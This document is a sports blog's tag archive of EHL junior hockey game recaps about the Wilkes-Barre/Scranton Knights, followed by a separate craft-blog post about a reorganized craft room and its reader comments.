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Tag Archives: Nick Peck

Knights Blank Bobcats-Royals, Roll to Series Sweep

Friday afternoon kicked off the Knights and Bobcats third meeting of the past two weeks. Winners of the last two exchanges by a combined score of 12-0, Wilkes-Barre/Scranton looked to keep rolling into a three-game weekend.

The game began with the Knights controlling the pace of play. Just shy of the 4:00 marker, Nick Peck flipped a puck to Bryan Whelan, who found Anthony Starzi in front of the net. Starzi pushed his 23rd goal of the season past New York goalie Tyler Shugrue for the opening tally.

A wave of Wilkes-Barre/Scranton chances would continue to bolster a steady forecheck in the first. An 18-shot frame would be capped off by JP Natishan’s snipe at 14:26 off passing from Austin Weber and Jake Nimeh.

In the second, the tempo again belonged to the Knights offense, as the team more than doubled its shot count from the first. Anthony Starzi repaid Bryan Whelan the favor from the first, with the former finding the latter for the 3-0 lead at 8:29. Matt Proski picked up the secondary helper on the goal.

Tyler Shugrue did his part to limit the damage thereafter, but at 16:10 the dam broke open. At 16:10, Tyler Nielsen ripped a rebound past Shugrue for the forward’s 14th tally of the season (Peck, Starzi). Josh Edwards found his first goal of the year exactly one minute later off of a rebound from Matt Proski  set up by a David Pfoestl assist.

Pfoestl decided to join the scoring parade 45 seconds later, when he carried the puck over the blue line, dropped it back to Proski, and then put Proski’s ensuing rebound by for the 6-0 advantage. Cole Wenner was credited with the secondary helper on the score.

In the third, Nate Chuckran tacked on goal number seven, coming off of assists by Tyler Watungwa and Zach Ouladelhadjahmed, putting the contest’s scoring to rest.

At the final horn, the Knights came away with both a 7-0 victory and a series sweep of the Bobcats Royals. The win also brings the Knights back to .500 and keeps them within two points of the New York Applecore for the 4th seed in the South Conference.

Jared Stahel’s steady play between the pipes earned him his third shutout of the season, his second in his last five starts.

Wilkes-Barre/Scranton will look to keep the momentum going with a road contest today against the Walpole Express at 4:50 PM EST. Tune in on HockeyTV.com and follow @WBSKnightsEHL on Twitter for in-game updates!

EHL Recap: Knights Split Weekend with Shootout Loss to Applecore

The dust didn’t even get the chance to settle on the Knights thrilling, 5-4 win Saturday before the team rolled back out to Brewster Ice Arena for a 9:30 am rematch Sunday.

The Knights and Applecore met for round two of two with fourth place on the line in the South Conference. Sunday’s affair picked up slowly. Shot totals were abundant for each side-including an 11-0 run for New York in the last four minutes of the first period. Starting goalies Thomas Walker and Benjamin Allard-Robitaille did their part stop a combined 32 shots, good for a scoreless first period.

The scoring drought continued well past the midway point of regulation, with the game’s first goal finally being scored 16 minutes into the second period. On his team’s second power play, William Case was fed the puck from Emerson Emery and Nate Chuckran before he fired a puck by Allard-Robitaille for the 1-0 lead.

The advantage would prove to be short-lived when Applecore, shorthanded just over two-minutes later, would cash in on a Knights power play breakdown. Allard-Robitaille would connect with Tanner Dalton, who out-raced the Knights back to Thomas Walker, who was beaten for the shorthanded equalizer.

The Wilkes-Barre/Scranton power play would redeem itself on its next trip down the ice, when Jake Fuss pushed an Anthony Starzi rebound through to regain the lead. Nick Peck picked up the secondary helper on the Knights second power play goal of the contest.

The Knights lead would last through the final 24 seconds of the middle frame, as well as the duration of the second intermission. Connor Woolley decided that was long enough. Just over a minute into the third period, the New York forward continued his strong weekend with his second goal of the season, set up by Chaz Rometty and Brandon Napoli, once again evening the score.

A similarly dissatisfied Austin Weber would hand the puck to red-hot Knights defender Emerson Emery at 6:21, where he ripped a quick shot past Allard-Robitaille to reclaim a one-goal lead. The strike marked Emery’s fourth point of the weekend, his seventh in the last five games.

The see-saw would even out yet again at 13:57, when the big-bodied Race Bennett would find the back of the net, assisted by Woolley and Patrick Sullivan. Despite New York out-gunning the Knights by 10 shots in the third, the 3-3 tie would hold through the end of regulation, sending both teams to play in overtime.

Each second of overtime would provide an opportunity. A Knights goal would mean a tie in points for fourth place in the South. A New York score would preserve a two-point cushion for the Applecore. Neither goalie would oblige.

Allard-Robitaille stood down seven shots, while Walker made five saves, including a robbery of a late New York breakaway. The Knights would ring three posts but could not bury the puck. With overtime failing to produce a winner, both teams moved onto the shootout.

In the best-of-three setup, neither side found the net through rounds one and two. Allard-Robitaille stopped the Knights in round three. Matthew Boring came down the ice and fired the game-winner past Walker.

At the end of the series, the Knights were able to pick up three out of four possible points, but the two points won by New York Saturday keeps them ahead by two in the South. They’ll look to bounce back with a contest against the New York Bobcats Royals at home this Friday at 3:00 pm EST. The game will be broadcast on hockeytv.com. Stay tuned to Knights social media and www.wbsknights.com for all news and updates!

Weekend Recap: Knights Roll to Weekend Sweep of Bobcats Royals

Photo: Jessica Kovalcin

Heading into a Saturday-Sunday series in Long Island, the Knights looked to extend their winning ways that can trace their roots back to mid-December. Winners of seven of their last eight games, the Knights hit the ground running Saturday night.

In what could be considered their most-disciplined win of the season, the Knights were kick-started by Denys Arkhypenko, who scored the opening tally at the 16:00 mark of the first period (Emerson Emery). In a period that they out-shot New York 17-5, the Knights entered the first intermission with momentum, but the scoring was kept in check by the steady play of New York netminder, Timothy Carpenter.

Wilkes-Barre/Scranton’s heavy presence in the attacking zone would not relent in the second. Two early New York penalties would allow the forecheck to get off to a quick start. Though both power plays would be killed off, the pressure would not relent, finally giving way to Bryan Whelan at 8:44. The forward would strike against his former team off assists from Austin Weber and Jake Fuss.

Nick Peck would keep the momentum rolling with his seventh goal of the season at 14:13 (Zach Ouladelhadjahmed, Rhett Padgett). The team’s fourth score was tallied with 24 seconds left in the period, when Cody Rumsey and Tyler Watungwa set up JP Natishan for the 4-0 lead.

In the third, the Knights power play would put the game to bed. Austin Weber struck just past the three minute mark (Arkhypenko, Emery), followed by Tyler Watungwa, set up by Emery’s third assist of the game, and William Case’s secondary.

At the final horn, the Knights would skate away with a 6-0 win, capped off by Thomas Walker’s 16-for-16 performance between the pipes, his first shutout of the season.

In game two, the rematch saw an earlier start but a parallel finish. The Knights struck first on the afternoon after Rhett Padgett buried a shot from the blue line, extending his point streak to four games (Austin Weber, Jake Nimeh). Tyler Shugrue did his part in net for the Bobcats Royals, facing 23 shots in the first period alone, saving all but two.

The second tally came off the stick of JP Natishan, scoring  for the second-consecutive game, assisted by captain Jake Fuss. The Knights defense did their part, limiting New York to just four shots on goal. Knights starter Jared Stahel stopped all four en route to another solid start for Wilkes-Barre/Scranton.

In the middle frame, Nick Peck struck for the Knights third goal (Padgett, Arkhypenko). The game took a decidedly chippy turn as each team traded a grand total of 95 penalty minutes. The Knights penalty kill not only survived, but thrived, killing off each penalty they faced. Top cap it off, in the process of killing off a major penalty, Bryan Whelan added a shorthanded goal (Fuss) in the final minute of the second period. Whelan has now scored points (4-2-6) in all five games he’s played in since being traded to the Knights.

In the third, the Knights thwarted another major penalty and added another shorthanded goal. After assisting the first shortie, Jake Fuss recorded one of his own, finishing off a three-point game. The Knights captain has recorded points in seven-straight games.

In the game’s final minute, fresh off games with the NAHL on Friday and Saturday, Tyler Nielsen hammer a puck through traffic, where Jake Nimeh tipped it home for the score. Brady Hanson picked up the secondary assist.

When the dust had settled, the Knights found themselves with their second-straight 6-0 shutout. For Jared Stahel, his 14 saves on 14 shots marked his second shutout for the season.  The special teams excelled as well: the kill was 7-for-7 with two shorthanded goals. The power play went 2-for-7. The 12 total goals were scored by nine different players, and the Knights mounted 107 shots over two games.

With the victory Sunday, Wilkes-Barre/Scranton has won nine of their last 10 games. They’ll look to keep rolling with a mid-week match up with the Philadelphia Revolution on Wednesday afternoon at 2:00 pm EST. Stay tuned to Knights social media and www.wbsknights.com for all news and updates!

EHL: Knights Charge Continues with Sixth-Straight Win

Photo: Jessica Kovalcin

Following a December dominated by long road trips, broken up only by singular home stands and the holidays, the Knights enjoyed their home-cooking this weekend. Entering the new year on a hot streak, Wilkes-Barre/Scranton has shown no signs of slowing down in the second half of their EHL season.

After a strong 5-1 win on Saturday, the Knights hit the ground running on Sunday. 17 first period shots from Wilkes-Barre/Scranton were largely kept at bay by the steadiness of Oilers netminder Will McEwen. Alex Morawski finally broke through at 12:07, recording his second goal of the weekend, his 10th on the season, off an assist from Nate Chuckran for the game’s first score.

Just prior to the 19:00 marker, Connecticut forward Val Sverdlov answered with his second score in as many days with Tyler Lapshanski picking up the lone assist.

Tied heading into the second, the Oilers struck first at 5:26 on a power play as the Knights continued to battle their second-period demons. This tally was recorded by Zach Withington with an apple from Tim Lopez to give the Oilers their first lead of the weekend.

The advantage was short-lived as just under a minute later Tyler Watungwa grew his scoring streak to six games with his fourth goal of his young Knights career (Cody Rumsey).

The Knights would tack on another as William Case picked up his second in a Knights sweater off a set up from old friend and longtime teammate Tyler Nielsen in the period’s final minute.

Backed by solid play in the own end and net from Thomas Walker, the Knights attack poured it on in the third. Zach Ouladelhadjahmed picked up a shorthanded goal at 3:36, unassisted. Jake Fuss kept the special teams streak going at 10:34 when the Knights leading-scorer tallied a power play marker from Nick Peck and Nate Chuckran. New addition Bryan Whelan rounded out the scoring at 12:25 when Fuss sent him the biscuit for yet another power play goal. Whelan kicked off his Knights debut with 16th score of his EHL season, following his acquisition from the New York Bobcats Royals.

The Knights rode Walker and his 26 saves through the remainder of the contest and cruised to the 6-2 win, on their way to sixth-straight victory and a convincing weekend sweep. Between Saturday and Sunday, the Knights outscored the Oilers 11-3, won the shooting contest 100-56, and took home the special teams advantage, going 3-for-8 on the power play and 9-for-11 on the penalty kill, scoring two shorthanded goals.

The team will look to continue their hot streak when they travel to the EHL’s January Showcase in Philadelphia next weekend for two games against the Boston Jr. Rangers and the East Coast Wizards. Stay tuned to www.wbsknights.com and Knights social media for news and updates!

EHL: Knights Charge into New Year with Fourth-Straight Win

Photo: Jessica Kovalcin

On Sunday, the Knights took the ice for the first time in 2018 at the Ice Line Quad Rinks against the Philadelphia Junior Flyers. With just three points separating third-place Wilkes-Barre/Scranton and the fourth-place JR. Flyers in the Mid-Atlantic, Sunday’s  game carried plenty of weight and playoff implications.

In the first period, the Knights began with a solid tempo on the attack. The team carried play for much of the opening stanza, cracking Philadelphia’s goalie Albin Mulic and the scoreboard first at 9:26. Following a feed from Tyler Watungwa, Cody Rumsey centered a puck from under the goal line to the middle of the slot for a waiting Tyler Nielsen. Nielsen fired home his 12th goal of the season to give the Knights the early lead.

The Junior Flyers would respond shortly. Less than three minutes later, Philadelphia took advantage of the game’s first power play; Billy McDevitt flipped a pass to the blue line for Luca Pisani who pointed a shot to the front of the net. Parked in front, Justin Weinbrenner deflected the puck past Knights starter Jared Stahel to even the score at one.

Wilkes-Barre/Scranton would respond by maintaining their pressure through the end of the frame, out-shooting the Flyers 15-6, but they could not put another goal past Mulic.

Following a successful penalty kill to open the second, the Knights resumed their heavy forecheck. At 5:42, JP Natishan flipped a puck to Alex Morawski who threaded a pass to Nate Chuckran in front of the net. Chuckran flipped the puck over Mulic to regain the lead. Nick Peck would follow up with a snipe from the point at 11:35, his fourth tally in the last six games, to build the Knights a 3-1 advantage. Jake Fuss and Austin Weber were credited with the helpers.

Heading to the third, the Knights found themselves in control. They were dominating chances on goal and lead shots 25-11. Adding insurance to the cause in the early minutes of the third was Jake Fuss. The Knights captain pulled a Denys Arkhypenko pass in through traffic before turning and weaving his way around Mulic for the Knights fourth goal.

Fuss would strike again when Nick Peck stole a puck at the Philadelphia blue line, and fired it on net. Mulic made the initial save but the rebound was quickly corralled by Arkhypenko who found Fuss on the back door for the tap-in goal at 9:37.

Jared Stahel and the Knights defense buckled down in the last half of the period as the the Junior Flyer’s attack mounted a late surge. Wilkes-Barre/Scranton answered all challenges but one. On a power play in the game’s final minute, Kyle Harris, Luca Pisani and Connor Lenaghan cycled the puck through the top of the Knights zone before Lenaghan fired a top-shelf snipe past Stahel to cut the score to 5-2.

That would be all for the Philadelphia comeback effort as Wilkes-Barre/Scranton closed out the contest with the 5-2 victory, their fourth-straight. The active winning streak is the team’s longest on the season. The Knights currently hold the fourth seed in the South Conference, up one point over New York Applecore. The top six teams in each of the EHL’s two conferences advance to the postseason.

Wilkes-Barre/Scranton will try to keep their streak and their climb up the standings going when they host a home-and-home against the Central Division’s Connecticut Oilers on Saturday, January 13th and Sunday, January 14th at 2:30 pm and 10:30 am, respectively. Both games will be broadcast on hockeytv.com.

Stay tuned to Knights Social Media and www.wbsknights.com for all Knights news and updates!

EHL: Knights Win Third Straight in Showcase Sweep

Photo: Jessica Kovalcin

On day two of the EHL’s December Showcase, the Knights met the New England Wolves for the second time in under two weeks. The first meeting saw the Wilkes-Barre/Scranton foiled by the steady goal-tending of Brendan Boncore (37 saves on 38 shots) en route to a 2-1 Wolves win.

In round two, the Knights were determined to come home with a win and four points from the latest edition of the league’s showcase series. Monday’s matchup featured not Boncore, but Chris Mattone in goal for New England while Jared Stahel would man the pipes for Wilkes-Barre/Scranton. Both netminders were unflinching in the first half, as each side mounted quality on goal in a scoreless opening 24 minutes.

A three-penalty period for New England would finally come back to bite the Wolves, when with exactly one minute to spare in the half, Tyler Watungwa bested Mattone for the game’s first score. Power play helpers from Tyler Nielsen and Alex Morawski. Watungwa continues to be an asset since his Knights debut which came on December 9th against the same Wolves. After his scoreless first start, the Ottawa native has gone on to notch a point in each of his three games since.

The Knights used the momentum of the late score to start fast on the attack in the second. Just 3:27 into the half, Jake Nimeh found his third goal of the season, courtesy of a William Case helper. Acquired on December 1st, Case, like Watungwa, now has a three-game point streak over which he’s scored one goal and four assists.

Wilkes-Barre/Scranton would continue to be backed by a steady afternoon in goal from Jared Stahel. After stopping all seven shots he faced in the first, the goalie turned away a second half upswing in chances, making 15 saves over the final 25 minutes. In conjunction with a solid effort in the net, the Knights kept the Wolves off the board on four second half power play opportunities, after killing off one in the first.

Between Stahel and solid special teams, the Knights continued to add to their lead. Rhett Padgett picked up his fourth goal of the season and the Knights second power play score of the contest at 12:37. Nate Chuckran continued the trend of new Knights scoring as he stretched his point streak to a third game with an assist on Padgett’s tally.

Chuckran would go on to score the game’s final goal just past the 20:37 mark off assists from Alex Morawski and Nick Peck. Morawksi is yet another Knight with an active, three-game point streak heading into the holiday break, with one goal and three assists over his last three outings.

At the final horn, the Knights stepped off the ice with a 4-0 win. Capping off a December in which he recorded a .925 save percentage and a 2.33 goals against over three starts, Jared Stahel finished with 22 saves in his first shutout of the season. The Knights special teams finished on a high note as well with their power play registering two goals in back-to-back contests, while their penalty kill was a perfect 9/9 at the December Showcase.

Needless to say, the Knights will enter the new year on a hot streak. In their last ten games, the team finished with a 6-4 record, scoring 4.00 goals per game, to 3.30 goal’s allowed. In their seven games in December, the Knights have seen their special teams surge on both ends of the ice. The power play converted on 23.3% of all chances while the penalty kill nullified 88.9% of shorthanded chances against. The trio of Nate Chuckran, William Case, and Tyler Watungwa have now amounted seven goals and 14 assists in 24 combined games played for the Knights.

The team won’t play again until after the new year in early January. The Knights organization wishes all its fans, players, staff, and volunteers a very happy, healthy holidays and a wonderful new year in which the Knights will be waiting to continue winning hockey!

EHL Recap: Knights Strike Down Avalanche to Open December Showcase

Photo: EHL

On Sunday, the Knights kicked off game one of their December showcase with a rematch against the New Hampshire Avalanche. In their prior November meeting, the Knights narrowly fell to the North Conference’s point leader 4-3.

On Sunday, the Avs struck first with a goal 9:18 into the contest in the EHL showcase’s two, 25-minute halves format. Melker Kroon pushed a puck past Knights starter Thomas Walker off assists from Chris Adamsons and Devin Hines.

Jake Fuss would answer back in short order with goal number 26 on his 2017-18 campaign at 12:55. Just after the Knights transitioned from a 4-on-3 to 5-on-3, Tyler Watungwa found Fuss to tie the game at one. The apple marked Watungwa’s second point since making his debut for the Knights two games prior.

The Knights wouldn’t leave the first half without the lead. Against Nick Sorgio in net for New Hampshire, Wilkes-Barre/Scranton mounted an end of half charge that culminated in Brady Hanson setting up Fuss for his second goal of the evening at 24:28.

Down one to open the second, the Avalanche’s potent offense responded in the first five minutes, when Tyler Uravage tied the game at two at 4:34. The goal came via helpers from Derek Britner and John Scala.

In the follow up to the score, both teams found themselves bogged down by trips to the penalty box. Both Walker and Sorgio hunkered down and kept the score tied through the first 15 minutes.

The holding pattern lasted until the Avalanche’s third infraction of the half. Just 13 seconds into their fifth power play, the Knights drove home the go-ahead goal off the blade of their power play savant Alex Morawski (William Case, Nick Peck). Morawski’s tally was his eight of the season, his sixth on the power play. The Knights blue-line continued its recent scoring surge as Case’s assist marked his fifth point in his last six games. Peck’s helper was his fourth point in his last five games.

Walker and the Knights back check stymied New Hampshire in the final nine minutes of play. The Wilkes-Barre/Scranton penalty kill put the icing on the cake with a crucial pair of tests late. In a game in which they killed all five power plays they faced, the Knights were able to nullify nearly back to back Avalanche power plays in the game’s final 2:39. With 13 seconds left in the game, Nate Chuckran found the empty net, shorthanded to put the game on ice.

Chuckran, Case, and Watungwa, the three most recent additions to the Wilkes-Barre/Scranton roster, have now combined for five goals and 12 assists in their 21 combined games with the Knights.

With the 4–2 win, the Knights have picked up two-straight victories. They’ll look to extend the streak to three as they close out their showcase with a contest against the New England Wolves at 12:30 pm EST. Tune in at my HockeyTV.com!

EHL Weekend Recap: Knights Drop Pair in Philadelphia

Photo Credit: Jessica Kovalcin

The Knights played games two and three of their weekend in Philadelphia on Saturday and Sunday, looking to bounce back from a tough loss Friday.

First on tap were the Philadelphia Junior Flyers, the occupants of 4th place in the Mid-Atlantic division. Meeting for the third time of 2017-18, the Knights hoped to further their unbeaten streak against the Jr. Flyers with a win.

In the opening two minutes of the contest, Marko Bohatiuk put Philadelphia on the board with his second tally of the year, set up by Bayley Kubara. In a relatively even period in which each side combining for 31 shots, the Knights would find an equalizer at 16:04, when Anthony Starzi potted his 18th goal of the season, assisted by Jake Fuss. On the very next shift, Nicholas Harris connected with Kubara, who fed Drew Platt for the Junior Flyers second score.

Down 2-1 to open the second, the Knights offense kicked their attack into high gear. At 5:04 Nick Peck picked up a goal in his second-straight contest off of helpers from Fuss and Cody Rumsey. On a power play halfway through the period, William Case registered his first point with the Knights when he set up Alex Morawski for the game-tying goal. Tyler Nielsen picked up the secondary assist.

Into the the third period, the score remained even until the 5:39 mark, when Adrian Martinez kicked off a Philadelphia scoring surge with his sixth goal of the season (Nicholas Harris). David Waterman followed with the next Jr. Flyers tally at 9:40 (Matthew Mood). Adrian Martinez notched his second score exactly one minute later on helpers from Gianni Dini and Nick Kiemel.

Down 5-3, Anthony Starzi did his part to keep the Knights afloat, scoring a shorthanded goal, his 19th marker of the year, at 14:08. Despite the boost, the Knights could not climb all the way back, as Jr. Flyers goalie Albin Mulic closed the door in the final minutes, securing Philadelphia the 5-4 victory. Wilkes-Barre/Scranton starter Jared Stahel made 48 saves in the loss.

Sunday’s rematch featured the Knights final regular season tilt against the Little Flyers.

Philadelphia wasted little time getting into the goal column, as Nick Magill-Diaz notched the game’s first tally on its’ first power play, just 3:40 in. Magill-Diaz scored off assists from Joey Savel and Mitchell Hall.

Alex Henson, the EHL’s defending goaltender of the month, kept the Knights offense at bay until 14:14. Set up by David Pfoestl and Nate Chuckran, Austin Weber notched his fourth tally of the season to even the score.

A closely fought first gave way to a uneven second, as the same period that foiled the Knights Friday came back to bite them on Sunday. Joey Savel found the twine on a helper from Alex Ochterbeck at 6:59. The pair rotated spots on the score sheet when Savel slid Octherbeck the puck to beat Knights starter Thomas Walker on a power play at 17:26. Mitchell Hall picked up his second assist of the game with the secondary helper.

The Knights offense was slowed by the Little Flyers defense and strong penalty kill, as Philadelphia nullified all six of the Knights opportunities on the man-advantage. Down two late in the third, the Knights pulled Walker after the Little Flyers took a too-many men penalty with just over two minutes remaining. With the 6-on-4 advantage, Wilkes-Barre/Scranton mounted a few chances on net, but none that bested Henson. The game was put on ice at 19:11 when Avery Smith pushed a puck free to neutral ice before burying it in an open net.

Coming off the 4-1 loss, the Knights will look to regroup this week as the team prepares for its final home games before the holiday break. They’ll play host to the New England Wolves on Saturday, December 9th at 3:45 pm and then the Vermont Lumberjacks on Sunday the 10th at 1:45 pm. Both games will be broadcast on hockeytv.com. Stay tuned to www.wbsknights.com and www.easternhockeyleague.org along with Knights social media for all news, player, and staff content and updates!

EHL: Ochterbeck Leads Little Flyers in Comeback Over Knights

Photo Credit: Jessica Kovalcin

The Knights kicked off a three-game weekend with their fifth meeting against the Philadelphia Little Flyers Friday afternoon. With both teams missing regulars in the lineup, the contest would prove a good test of mettle and depth for both benches.

JP Natishan put the Knights ahead early after Anthony Starzi found the forward streaking through a soft-spot in the Little Flyers back check. Natishan scored the game’s first goal when he skated in alone through the slot and put a shot past the glove of Philadelphia’s starter Brendahn Brawley.

Both sides exchanged solid looks on net with Brawley and Knights starter Thomas Walker fending off their remaining tests in the opening 11 minutes. Even without leading scorer Jake Fuss, the Knights forecheck continually applied pressure on the attack, drawing a penalty just after the halfway point of the period.

Less than a minute into the Knights man advantage, the Little Flyers capitalized on a bouncing puck through neutral ice as Joey Savel and Trevor Lewandoski fed Alex Ochterbeck through the middle to set up a shorthanded chance. Ochterbeck worked his way in alone on Walker where he backhanded a puck to the twine to tie the game at one at 11:00.

The Knights wouldn’t dwell on the miscue, and would draw another penalty at 11:15 to create a 5-on-3 advantage. With three seconds left in the initial penalty, Nick Peck fired a shot through traffic to best Brawley and give the Knights back the lead at 12:07. Anthony Starzi picked up the lone assist on the tally.

Before the end of the first, the Knights would get an added lift, when off a board battle on the left wing of neutral ice, Tyler Nielsen dragged the puck into the offensive zone before flipping a pass to an oncoming Alex Morawski. The latter forward barreled into the slot and ripped a shot through the pads of Brawley to give the Knights a 3-1 advantage at 16:34.

With a two-goal lead heading into the middle frame, the Knights looked to continue their impressive start with a clean, physical attack. Instead, the team was assessed four penalties in a sequence of events that would turn the second period into a costly quagmire. On a 5-on-3 power play at 8:48, Mitchell Hall found a rebound off an Ochterbeck shot, burying it past Walker from the middle of the slot to cut the lead to one. The play was set up on the cycle from Brendan Coughlin.

Five minutes later, the Little Flyers created an odd-man rush when Ricky Walsh, from Brendan Coughlin, found a streaking Ryan Vogt, who hammered the puck past Walker to tie the game at three. On their fourth power play of the afternoon, Alex Ochterbeck found himself open to the side of Walker following crisp passing from Nick Magill-Diaz and Joey Savel. The Little Flyers leading scorer paused just long enough for a space to open as Walker moved to meet him. Seeing his spot, Ochterbeck pulled the trigger for his second goal of the game.

Ochterbeck wasn’t done. In the final 30 seconds of the frame, he skated to the middle of a 3-on-1 rush from which he netted a hat trick on assists from Cale Coor and Magill-Diaz. At the end of the period, the Knights found themselves down 5-3.

Wilkes-Barre/Scranton started the third quickly, as Tyler Nielsen brought his team back within one on a power play goal at 3:01 (Nate Chuckran, Alex Morawski). Nielsen’s 10th tally spurred more pressure from the Knights, as they rebounded from a quiet second with several quality chances and extended time in the offensive zone. Despite the improvement, Brendahn Brawley settled in, diverting the remaining chances sent his way, with help from an active defense that blocked a number of shots on goal.

After enduring the Knights fifth power play of the game, the Little Flyers found the insurance they needed when Octherbeck notched his fourth goal of the contest at 14:12 (Stanislav Haurus, Savel). The renewed two-goal lead proved too steep a hill to climb.

At the final horn, the Knights dropped the contest by a score of 6-4. They’ll look to bounce back against the Junior Flyers in Philadelphia tomorrow at 5:00 pm EST, before visiting the Little Flyers for a Sunday rematch at 12:45 pm. Both games will be broadcast on www.hockeytv.com. Follow the Knights on Twitter @WBSKnightsEHL and visit www.easternhockeyleague.org for updates!

EHL: Knights Complete Weekend Sweep of Rough Riders

Photo Credit: Jessica Kovalcin

Don’t look now but the Wilkes-Barre/Scranton Knights are on a hot streak. The EHL Knights went to work this weekend in avenging a home-series sweep, suffered at the hands of the Connecticut Rough Riders at the beginning of October. On Sunday, the team had the opportunity to repay the favor at the SoNo Ice House in Norwalk, Connecticut.

Austin Weber got things going early for the Knights as the Alabama-native scored his second goal of the season, just 1:29 into the first period, assisted by Cody Rumsey and David Pfoestl. Starting again in goal for the Knights was Thomas Walker. The ’99 netminder slammed the door on all chances sent his way in the opening period, as the Knights defense limited Connecticut to 10 shots in the first.

Into the second, the penalty bug bit the Knights once more, as five infractions resulted in four power plays and the ejection of Knights captain and points-leader Jake Fuss. The Rough Riders turned those opportunities into a game-tying goal at 14:56, when Colin O’Connor potted a power play goal, set up by Nicholas Kukuris.

Tied at one after 40 minutes, both offenses turned up the heat in the final frame. The two sides each registered double-digit shot totals, as pressure mounted on both ends of the ice. At the 9:24 mark, Anthony Starzi kept his hot streak going, scoring the go-ahead goal off helpers from Denys Arkhypenko and Tyler Nielsen.

The Rough Riders answered back when August Nyblom scored unassisted on a power play at 12:45 to even the score once more.  Heading into the game’s final minute, the Knights found themselves shorthanded again. This time, it worked to their benefit. Nick Peck spearheaded a breakout that ended with Anthony Starzi feeding Tyler Nielsen for the go-ahead score with 49 seconds remaining.

The Knights and Thomas Walker (31 saves on 33 shots in the win) proceeded to hold off Connecticut with an extra attacker on the ice for the remainder of regulation on their way to their third-straight victory. With the win, the Knights improve to 10-16-0, putting them in fourth place in the South Conference, two points ahead of the Connecticut Oilers.

Wilkes-Barre/Scranton will next take the ice on Friday at 2:30 pm against the Philadelphia Little Flyers inside the Revolution Ice Centre, before hitting the road on Saturday and Sunday to play the Junior Flyers and Little Flyers in Philadelphia.

Stay tuned to Knights social media and www.wbsknights.com for news and updates!


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brand new shiny craftroom

My craftroom overhaul was successfully completed earlier this week and I’m in seventh heaven. It’s so easy now to see all my fabric at once. And all this empty space to lay things out. My big clear work table surface to draw/cut/work on. It’s awesome! And so worth the near panic attacks I had last weekend when the room was completely dismantled into one huge pile of chaotic mess.

I took out a whole set of shelves and redistributed stuff all over the house, mostly to the basement. Here the essentials are left over. My favorite fabrics and books. And off to the side, why the shelves were banished, to make room for my new felt wall! Thanks to Amy’s great how-to post I now have a magic wall to which fabric miraculously sticks. What a great way to work on a design. I’m working on a baby quilt for a friend and it is so cool to be able to lay the whole thing out first.

I needed a new button storage system since the printers drawer they lived in was stashed under the exiled shelves. Jelly jars is what I came up with. Tim is skeptical as to how easy they’ll be to access but right now I’m just in love with how they look. We’ll see how it fares after the romance is over.

A new shelf for the dollhouse waiting to be redecorated.

All the CD’s were banned to the basement and I got a whole new set of shelves for little this’s and that’s.

64 thoughts on “brand new shiny craftroom

  1. Samantha says:

    I often think that I have way too much fabric and then I look at other’s craft rooms. I reassure myself that my fabric hoarding is perfectly normal.
    It all looks very organised. I am impressed!

  2. JoAnn says:

    Great Job on the overhaul and congratulations. What a great way to start out the year. Can’t wait to see your new creations.

  3. Julia says:

    Gorgeous!! I would love to just wander around your craft room and look at things. One day, I hope to have a craft room too! Right now, I just have a little apartment I share with a roommate. You are very lucky. =)

  4. Lori says:

    Wow!!!! What an inspiring space! Good shelving is the key. This gives me some great ideas for the basement studio we are working on. The felt wall is genius! I think I need one of those.
    …. glad you didn’t throw everything out for DDR….

  5. Ginny says:

    I love the button jars!!! My dad did this in his workshop with nuts and bolts and screws. I will always remember the old Skippy pnut butter jars he used. Yours are much prettier, of course! Thanks for the visit down memory lane.

  6. Julia says:

    Lovely! The order of it all really is relaxing just to look at. The colors and patterns all together are so beautiful … and I just love to look at people’s studios.
    I’m jealous; I’ve been just walking by my office for months, averting my eyes with a twinge of pain at the stacks of things and no surfaces at which to work. I can’t believe I have put it off so long! I can’t decide on paint, so I can’t decide on shelving, so I can’t move in my desk and work table, and so on, and so forth. Can you believe I got a new sewing machine EIGHT months ago, and it’s still in its box? That is just silly. These pictures of your completed space have inspired me … thanks!

  7. hannah says:

    oh hillary, it looks wonderful!! it feels so good to reorganize. i cant wait to tackle my space in the spring. i think i have finally talked my dad into making a table for me. we might borrow yours for inspiration. the baby quilt is BEAUTIFUL! that felt wall, its like magic…

  8. jennifer says:

    i’m so jealous. my space has been in a state of disaster since christmas. i’ll have to work on that. i saw today that you sent alicia at posie some smiley face cookies. i grew up in evanston and they were my friend danielle’s favorite – it was always a big deal to go get some smiley face cookies…

  9. Li Wu says:

    Ahhh… Congratulations! Everything looks so lovely and I bet this is going to inspire you to be more creative, if that’s even possible… It looks like you had several layers on your felt wall; did you pin them up?
    I can totally relate to the near panic attach. Last year we went through our house and tried to organize our books and book shelves. For almost a month we had no visitors because all the books were piled in the formal living room waiting to be sorted. Right now my 15-month-old occupies our “office” and I so wish I can have that space back…

  10. Sandrine (alias Didine!) says:

    Ok ! At first sight my eyes jumped off my head, it just rocks my socks off !! It’s amazing how much fabrics you have !! After I try to understand how the jelly jars were “hanging” under the shelf ?? My husband laughed at me and told me : “this idea is old like the world” ;o( I know sometimes I can be stupid but I think it’s the best idea ever !!! Can I also ask you what is the thing you use to put your bobbins on ?? I’m searching for the best way to storage them !! Thanks a lot my dear Hillary ! Once again you made my day ! Hugs from Belgium !

  11. autum says:

    Wow! That is so pretty. It must be so nice to work in there. I would want to just sit and look at it though. I love that your organization is also pretty. My uncle keeps nails and screws in baby food jars under a shelf. I may have to try that with my buttons. Thanks for sharing!

  12. Laural says:

    Looks beautiful! I have been thinking about putting my buttons into jars as well. It would be a big improvement for me, because right now they are just in a box, all mixed up!

  13. Sarah says:

    Wow, this is awesome! I am so inspired to get my act together and finish up all the plans I have for my crafty area… Right now I have things all over the place and not nearly organized enough. Thanks for the inspiration!

  14. margaret says:

    great looking workspace, love the button jars! what do you do with your lace and ribbon, any good ideas? I always mean to keep it tidy but it ends up in a large tangled ball, ho hum …

  15. Windy City Wendy says:

    The button jars look great. My collection has outgrown that size of jar, but I’ve found that cigar boxes work great for storing them. I have labels marking the colors on the front of them right now, but I keep telling myself that one day I’ll do something more fun like hot glue one to the front to identify the color family inside. Happy crafting!
    ps – The jars brought back a great memory of my grandfather’s workshop. He had all of his nails and screws in baby food jars with the lids attached to a beam over his workbench.

  16. emily says:

    wow, this is awesome! congrats on a brilliant setup. Just looking at the pictures is enough to make me inspired… I can’t imagine being able to work/play in this space!

  17. KiWi says:

    gorgeous! My personal goal for this year is to get organized and my craft room is the least organized room in the house. It’s gotten worse since I opened my Etsy shop.

  18. krista says:

    Great job! I am envious…
